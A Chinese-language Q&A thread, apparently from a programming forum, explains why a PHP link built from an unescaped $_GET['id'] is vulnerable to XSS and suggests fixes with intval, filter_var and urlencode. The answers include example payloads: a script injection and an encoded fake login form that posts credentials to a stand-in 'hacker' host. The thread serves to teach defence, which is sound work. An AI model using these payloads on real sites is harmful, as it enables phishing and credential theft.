2012-11-12 88 views
0

我有這個php代碼和我的CMS安全自動測試說這是一個XSS攻擊。爲什麼以及如何解決這個問題?爲什麼這是一個XSS攻擊,以及如何防止這種情況?

$url = "news.php"; 
if (isset($_GET['id'])) 
    $url .= "?id=".$_GET["id"]; 
echo "<a href='{$url}'>News</a>"; 
+1

什麼是CMS?什麼是安全測試? –

+0

如果'$ _GET ['id']'的意思是數字值,請使用http://www.php.net/manual/en/function.filter-var.php或http://php.net/manual /en/function.filter-input.php – ajreal

+0

用戶可以爲其添加外部參數,例如'?id = number'DO SOMETHING DANGEROUS'。但是,如果這不通過數據庫,那麼它不應該是一個問題。 – Sylus

回答

5

這是XSS(跨站腳本)有人會打電話給你這樣的事:

?id='></a><script type='text/javascript'>alert('xss');</script><a href=' 

實際上把你的代碼

<a href='news.php?id='></a><script type='text/javascript'>alert('xss');</script><a href=''>News</a> 

現在,每當有人訪問此網站,它會加載並運行JavaScript alert('xss');這可能是一個重定向器或cookie竊取器。

正如許多其他人所提到的,您可以通過使用filter_varintval(如果它是一個數字)來解決此問題。如果你想更先進,你也可以使用正則表達式來匹配你的字符串。

想象一下,您接受a-z A-Z和0-9。這會工作:

if (preg_match("/^[0-9a-zA-Z]+$", $_GET["id"])) { 
    //whatever 
} 

filter_input甚至有一個手動輸入你想要什麼做(消毒你輸入一個鏈接):

<?php 
    $search_html = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_SPECIAL_CHARS); 
    $search_url = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_ENCODED); 
    echo "You have searched for $search_html.\n"; 
    echo "<a href='?search=$search_url'>Search again.</a>"; 
?> 
+0

謝謝。正如@Mene提到的,我是否應該'urlencode'輸入呢? –

+0

@PedramBehroozi你可以 - 如果它只是一個數字,它不會做任何事情 - 如果你使用'filter_input',就不需要使用'urlencode',就像它爲你做的那樣。 – h2ooooooo

2

是啊..一個簡單的連接

site.php?id=%27%3E%3C%2Fa%3E%3Cbr%3E%3Cbr%3EPlease+login+with+the+form+below+before%0D%0A%09proceeding%3A%3Cform+action%3D%22http%3A%2F%2Fhacker%2Ftest.php%22%3E%3Ctable%3E%0D%0A%09%3Ctr%3E%0D%0A%09%09%3Ctd%3ELogin%3A%3C%2Ftd%3E%0D%0A%09%09%3Ctd%3E%3Cinput+type%3Dtext+length%3D20+name%3Dlogin%3E%3C%2Ftd%3E%0D%0A%09%3C%2Ftr%3E%0D%0A%09%3Ctr%3E%0D%0A%09%09%3Ctd%3EPassword%3A%0D%0A%09%09%3C%2Ftd%3E%0D%0A%09%09%3Ctd%3E%3Cinput+type%3Dtext+length%3D20+name%3Dpassword%3E%3C%2Ftd%3E%0D%0A%09%3C%2Ftr%3E%0D%0A%09%3C%2Ftable%3E%0D%0A%09%3Cinput+type%3Dsubmit+value%3DLOGIN%3E%0D%0A%3C%2Fform%3E%3Ca+href%3D%27 
      ^
      | 
     Start XSS Injection 

這將輸出

<a href='news.php?id='></a> 
<br> 
<br> 
Please login with the form below before proceeding: 
<form action="http://hacker/test.php"> 
    <table> 
     <tr> 
      <td>Login:</td> 
      <td><input type=text length=20 name=login></td> 
     </tr> 
     <tr> 
      <td>Password:</td> 
      <td><input type=text length=20 name=password></td> 
     </tr> 
    </table> 
    <input type=submit value=LOGIN> 
</form> 
<a href=''>News</a> 

問你的客戶那裏的用戶名和密碼才能繼續和將信息發送給http://hacker/test.php和他們再重新直接返回正常,好像什麼都沒發生一樣

要解決此問題

$_GET["id"] = intval($_GET["id"]); 

或者

$_GET["id"] = filter_var($_GET["id"], FILTER_SANITIZE_NUMBER_INT); 
0

你需要來urlencode:

$url .= "?id=" . urlencode($_GET["id"]); 
0

正如你必須過濾GET和POST內容的全局規則。在使用$ _GET ['id']的內容之前使用filter_var。

$filtered_id = filter_var ($_GET['id'], FILTER_SANITIZE_NUMBER_INT); 
// or at least 
$id = (int) $_GET['id']; 
0

不要直接使用$ _GET或$ _POST !!! 你必須逃脫它的一些方式.. 例如..

$url = "news.php"; 
if (isset($_GET['id']) && $id=intval($_GET["id"])>0){ 
    $url .= "?id={$id}"; 
} 
echo "<a href='{$url}'>News</a>"; 
+0

我設置大於0,因爲沒有像頁面0,頁面-1等等東西。 – Svetoslav

+1

爲什麼不呢?這在任何地方都沒有說明。實際上沒有人說這是一個數字。它可能是一個GUID或一個字符串... – Mene

+0

@Mene ID許多原因應該是整數.. 這就是我檢查的Int .. – Svetoslav